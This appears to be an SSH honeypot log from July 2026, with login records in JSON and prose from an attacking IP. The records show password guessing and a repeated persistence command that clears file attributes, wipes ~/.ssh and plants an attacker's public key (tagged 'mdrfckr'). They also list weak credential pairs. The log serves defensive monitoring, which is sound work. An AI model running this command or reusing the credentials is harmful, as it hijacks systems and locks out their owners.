    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

102.88.137.80

2026-07-24 01:25:56.703947 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: ubuntu / 3245gs5662d34

Record ID: 30a25f667312

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "30a25f667312",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:25:56.703947Z",
  "end_time": "2026-07-24T01:25:58.392162Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:25:53.750194 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 64a48376e022

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "64a48376e022",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:25:53.750194Z",
  "end_time": "2026-07-24T01:25:56.432829Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:25:50.145574 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: ubuntu / a1b2c3d4

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 6b49cc36bd36

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.3s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "6b49cc36bd36",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:25:50.145574Z",
  "end_time": "2026-07-24T01:25:58.398155Z",
  "duration": "8.3",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "a1b2c3d4"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

102.88.137.80

2026-07-24 01:24:46.309189 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: superuser

Record ID: 20d67ca1b1f6

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "20d67ca1b1f6",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:24:46.309189Z",
  "end_time": "2026-07-24T01:24:48.993873Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "superuser",
      "pass": "superuser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:23:46.338865 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: d670761c8002

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "d670761c8002",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:23:46.338865Z",
  "end_time": "2026-07-24T01:23:48.030413Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:23:43.353550 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: c7006e26dcb2

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "c7006e26dcb2",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:23:43.353550Z",
  "end_time": "2026-07-24T01:23:46.074723Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:23:39.887136 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / bbbb

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 85cbbc86484c

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.1s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "85cbbc86484c",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:23:39.887136Z",
  "end_time": "2026-07-24T01:23:48.026739Z",
  "duration": "8.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "bbbb"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

102.88.137.80

2026-07-24 01:22:38.569824 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: ftpuser / 3245gs5662d34

Record ID: 8bfc4627dabc

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "8bfc4627dabc",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:22:38.569824Z",
  "end_time": "2026-07-24T01:22:40.296782Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ftpuser",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:22:35.584836 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 0c8a4b7c14c8

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "0c8a4b7c14c8",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:22:35.584836Z",
  "end_time": "2026-07-24T01:22:38.294348Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:22:32.042774 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: ftpuser / 1qaz2wsx#EDC

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: e5f65fadfa60

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 8.3s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "e5f65fadfa60",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:22:32.042774Z",
  "end_time": "2026-07-24T01:22:40.299928Z",
  "duration": "8.3",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ftpuser",
    "pass": "1qaz2wsx#EDC"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

139.19.117.129

2026-07-24 01:21:59.029823 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (2 distinct queries). Vector identities: root

Record ID: c35b4058c445

Client Version: SSH-2.0-Go

Engagement Duration: 10.0s

HASSH Fingerprint: f1e5e9d24e5e345e8745613bde22d532

{
  "id": "c35b4058c445",
  "src_ip": "139.19.117.129",
  "start_time": "2026-07-24T01:21:59.029823Z",
  "end_time": "2026-07-24T01:22:09.028920Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "f1e5e9d24e5e345e8745613bde22d532",
  "attempts": [
    {
      "user": "root",
      "pass": null
    },
    {
      "user": "root",
      "pass": null
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

102.88.137.80

2026-07-24 01:21:29.305566 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: test / 3245gs5662d34

Record ID: e4bc0ef6d9fd

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.7s

HASSH Fingerprint: 713bd9cc935561939c02dad25af2d3de

{
  "id": "e4bc0ef6d9fd",
  "src_ip": "102.88.137.80",
  "start_time": "2026-07-24T01:21:29.305566Z",
  "end_time": "2026-07-24T01:21:30.987584Z",
  "duration": "1.7",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "713bd9cc935561939c02dad25af2d3de",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}